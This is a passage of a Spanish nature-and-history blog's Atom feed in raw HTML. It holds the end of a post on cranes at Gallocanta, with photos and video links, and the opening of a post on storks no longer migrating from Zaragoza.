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&lt;span lang=&quot;ES&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
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&lt;span lang=&quot;ES&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
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&lt;span lang=&quot;ES&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzhJsL3EWwjHDf1Qw0QPCcRvJGfaUmWoVVDoJwmy-hgdF6MP5kcRUFyzNwJCItc_2czkEDSf8XoX5bITGuS4Qk0l573h0EUfUXZNID2K8_wmgsKGWLrwYJS1LhzIbbvHp7d0OvcjAjYOzR/s1600/Grullas+2.jpg&quot; style=&quot;color: #0066cc; font-family: &amp;quot;times new roman&amp;quot;; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; margin-left: 1em; margin-right: 1em; text-align: center; text-decoration: underline; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;667&quot; data-original-width=&quot;1000&quot; height=&quot;262&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzhJsL3EWwjHDf1Qw0QPCcRvJGfaUmWoVVDoJwmy-hgdF6MP5kcRUFyzNwJCItc_2czkEDSf8XoX5bITGuS4Qk0l573h0EUfUXZNID2K8_wmgsKGWLrwYJS1LhzIbbvHp7d0OvcjAjYOzR/s400/Grullas+2.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHjKCEYyK447G9j7xEMS7mYEuiCHzh1XlfOtDDmfJCXYiq9Bz6tWm61O4fWFQBaby5JBZBRMYvDb061te5EPJMATrP8ZkpZMwr9e0nT6DhOJMsnnm8TcQocG6I0jl0spv9UDjAx-2TBX8e/s1600/Grullas+1.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;667&quot; data-original-width=&quot;1000&quot; height=&quot;261&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHjKCEYyK447G9j7xEMS7mYEuiCHzh1XlfOtDDmfJCXYiq9Bz6tWm61O4fWFQBaby5JBZBRMYvDb061te5EPJMATrP8ZkpZMwr9e0nT6DhOJMsnnm8TcQocG6I0jl0spv9UDjAx-2TBX8e/s400/Grullas+1.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;
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&lt;span lang=&quot;ES&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn6jb4jQ5DVM5r4mbBoXi_nogwhEbSC6tTx33VUb_60f_VIdVgaL53Y_B_n-mFk9FGSZuh7Hi81u-99DkUj6mBfLxQKQFngqICNHrlGUswZfgkh5McE1jCN4tw9x6lxGdBTeSG7omt4m7g/s1600/Grullas+3.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;667&quot; data-original-width=&quot;1000&quot; height=&quot;265&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn6jb4jQ5DVM5r4mbBoXi_nogwhEbSC6tTx33VUb_60f_VIdVgaL53Y_B_n-mFk9FGSZuh7Hi81u-99DkUj6mBfLxQKQFngqICNHrlGUswZfgkh5McE1jCN4tw9x6lxGdBTeSG7omt4m7g/s400/Grullas+3.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTa1W9W8RpTB1FIul8t52Ramb-q6_hFsaQZcA1pNZDtXVSklwwui6ytbsHzMBY-WzHQrXFuAIruj55ftUL1S_sLGiqxM0dKfNNcna_86stKrJ7T-kO4EnLz_1teDLwTBsSbGzZSVR9xQxD/s1600/Grullas+4.jpg&quot; style=&quot;color: #0066cc; font-family: &amp;quot;times new roman&amp;quot;; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; margin-left: 1em; margin-right: 1em; text-align: center; text-decoration: underline; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;667&quot; data-original-width=&quot;1000&quot; height=&quot;265&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTa1W9W8RpTB1FIul8t52Ramb-q6_hFsaQZcA1pNZDtXVSklwwui6ytbsHzMBY-WzHQrXFuAIruj55ftUL1S_sLGiqxM0dKfNNcna_86stKrJ7T-kO4EnLz_1teDLwTBsSbGzZSVR9xQxD/s400/Grullas+4.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
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&lt;span lang=&quot;ES&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
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&lt;span lang=&quot;ES&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;color: red;&quot;&gt;Vídeos:&lt;/span&gt;&lt;span lang=&quot;ES&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;
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&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;color: red;&quot;&gt;Grullas en Gallocanta. &quot;El sonido de las grullas&quot;&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot; style=&quot;color: red;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=-hhGRb7ohUQ&quot;&gt;https://www.youtube.com/watch?v=-hhGRb7ohUQ&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
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&lt;span lang=&quot;ES&quot;&gt;
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&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;color: red;&quot;&gt;Gallocanta, parada y fonda en la
migración de las grullas&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot; style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=C_2mT8jS4Hg&quot;&gt;https://www.youtube.com/watch?v=C_2mT8jS4Hg&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
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&lt;/span&gt;
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&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;color: red;&quot;&gt;&amp;nbsp;LAS GRULLAS EN
EXTREMADURA&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot; style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=P3-IWE65-OM&quot;&gt;https://www.youtube.com/watch?v=P3-IWE65-OM&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
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&lt;/span&gt;
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&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;color: red;&quot;&gt;&amp;nbsp;La danza de las
grullas&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot; style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=24hgUbtCHmk&quot;&gt;https://www.youtube.com/watch?v=24hgUbtCHmk&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;
&lt;/span&gt;&lt;/span&gt;
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&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;
&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
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&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;

&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
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&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX2lfS-14Z24dt6EDDG_HrsUp1b7_9CjFP4_82z1SVRXU-t1CheolZsIw4M7y7RrrZRA1sK3yAAYKrTsMB9nx-C-zX36LeN1Wgd-MYEmyjZdy_N18rWc-34fsG2HtRmz72lMtpfM-1dOs5/s1600/IMG_3800.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
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&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX2lfS-14Z24dt6EDDG_HrsUp1b7_9CjFP4_82z1SVRXU-t1CheolZsIw4M7y7RrrZRA1sK3yAAYKrTsMB9nx-C-zX36LeN1Wgd-MYEmyjZdy_N18rWc-34fsG2HtRmz72lMtpfM-1dOs5/s1600/IMG_3800.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
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&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX2lfS-14Z24dt6EDDG_HrsUp1b7_9CjFP4_82z1SVRXU-t1CheolZsIw4M7y7RrrZRA1sK3yAAYKrTsMB9nx-C-zX36LeN1Wgd-MYEmyjZdy_N18rWc-34fsG2HtRmz72lMtpfM-1dOs5/s1600/IMG_3800.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
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&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX2lfS-14Z24dt6EDDG_HrsUp1b7_9CjFP4_82z1SVRXU-t1CheolZsIw4M7y7RrrZRA1sK3yAAYKrTsMB9nx-C-zX36LeN1Wgd-MYEmyjZdy_N18rWc-34fsG2HtRmz72lMtpfM-1dOs5/s1600/IMG_3800.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX2lfS-14Z24dt6EDDG_HrsUp1b7_9CjFP4_82z1SVRXU-t1CheolZsIw4M7y7RrrZRA1sK3yAAYKrTsMB9nx-C-zX36LeN1Wgd-MYEmyjZdy_N18rWc-34fsG2HtRmz72lMtpfM-1dOs5/s1600/IMG_3800.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX2lfS-14Z24dt6EDDG_HrsUp1b7_9CjFP4_82z1SVRXU-t1CheolZsIw4M7y7RrrZRA1sK3yAAYKrTsMB9nx-C-zX36LeN1Wgd-MYEmyjZdy_N18rWc-34fsG2HtRmz72lMtpfM-1dOs5/s1600/IMG_3800.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX2lfS-14Z24dt6EDDG_HrsUp1b7_9CjFP4_82z1SVRXU-t1CheolZsIw4M7y7RrrZRA1sK3yAAYKrTsMB9nx-C-zX36LeN1Wgd-MYEmyjZdy_N18rWc-34fsG2HtRmz72lMtpfM-1dOs5/s1600/IMG_3800.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;i&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; Rosa M. Germán&lt;/i&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/7904362845946364153/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/03/sabias-que-en-zaragoza.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/7904362845946364153'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/7904362845946364153'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/03/sabias-que-en-zaragoza.html' title='Las grullas'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7TqXcxIg2SkjO9PFklTabHYvbew90BLNxtSmEW8FlG22M-HGn6evBiC604ViXIxEvQf6qX0_fNjkkGxfNN53S1Dsuu5Z5NluwY0EHILJXIZs40ko7fA_558I-nsapd6Y7HPfynQGd73q3/s72-c/IMG_3800.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-2717130412543113633</id><published>2020-02-06T20:20:00.004+01:00</published><updated>2020-11-07T19:38:44.454+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="EDAD CONTEMPORÁNEA"/><category scheme="http://www.blogger.com/atom/ns#" term="NATURALEZA"/><title type='text'>Las cigüeñas</title><content type='html'>&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
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 &lt;/o:OfficeDocumentSettings&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: helvetica; font-size: large;&quot;&gt;&lt;b&gt;¿Sabías que... Zaragoza es un paraíso&amp;nbsp;para las cigüeñas?&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;font-size: 14pt; font-weight: bold; text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;font-size: 14pt; font-weight: bold; text-align: justify;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimYTU96m5EG0MLf_Y6PR45cxsQ_TZ8bH0a00-oc1WrnWuZEYyl4GSkSUzgEpU65-KGPsFz4B9DOLVRbtG-lWXTu_KHN9g8ko3R3RDRad1si1yTgRDe7BT-zD0-ptovQq7D8SAqv0JoTVue/s1600/Cig%25C3%25BCe%25C3%25B1as+1.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;200&quot; data-original-width=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimYTU96m5EG0MLf_Y6PR45cxsQ_TZ8bH0a00-oc1WrnWuZEYyl4GSkSUzgEpU65-KGPsFz4B9DOLVRbtG-lWXTu_KHN9g8ko3R3RDRad1si1yTgRDe7BT-zD0-ptovQq7D8SAqv0JoTVue/s1600/Cig%25C3%25BCe%25C3%25B1as+1.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;font-size: 14pt; font-weight: bold; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;El popular refrán “&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt; mso-bidi-font-style: normal;&quot;&gt;Por
San Blas, la cigüeña verás…”&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt; ha perdido todo su significado y Zaragoza
se ha convertido en un paraíso para las cigüeñas&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Hoy es 3 de febrero, festividad de San Blas
y según indica el refrán en esta fecha deberíamos ver a las cigüeñas&lt;sup&gt;1&lt;/sup&gt;
al haber regresado de su emigración invernal, ¿las hemos visto, están aquí? &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;background-color: white; color: black; display: inline; float: none; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;background-color: white; color: black; display: inline; float: none; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;background-color: white; color: black; display: inline; float: none; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;Pues sí, aunque, en realidad, no hemos dejado de verlas durante todo el
invierno, para ser más exacta durante todos los inviernos desde&lt;/span&gt;&lt;span style=&quot;color: black; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; display: inline; float: none; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;hace décadas...&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;Y es que cada vez más crece en la Península
el número de cigüeñas que no emigran, que ya no realizan ese larguísimo viaje de
más de 3.000 km con el fin de pasar el invierno en las cálidas y lejanas
tierras del África subsahariana para encontrar los alimentos que la dureza invernal de antaño les impedía conseguir aquí. Hoy el popular refrán que señalaba el regreso de
las cigüeñas de sus “cuarteles de invierno” ha perdido todo su significado.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;


&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;


&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;Pero ¿por qué ya no emigran? ¿qué hace que
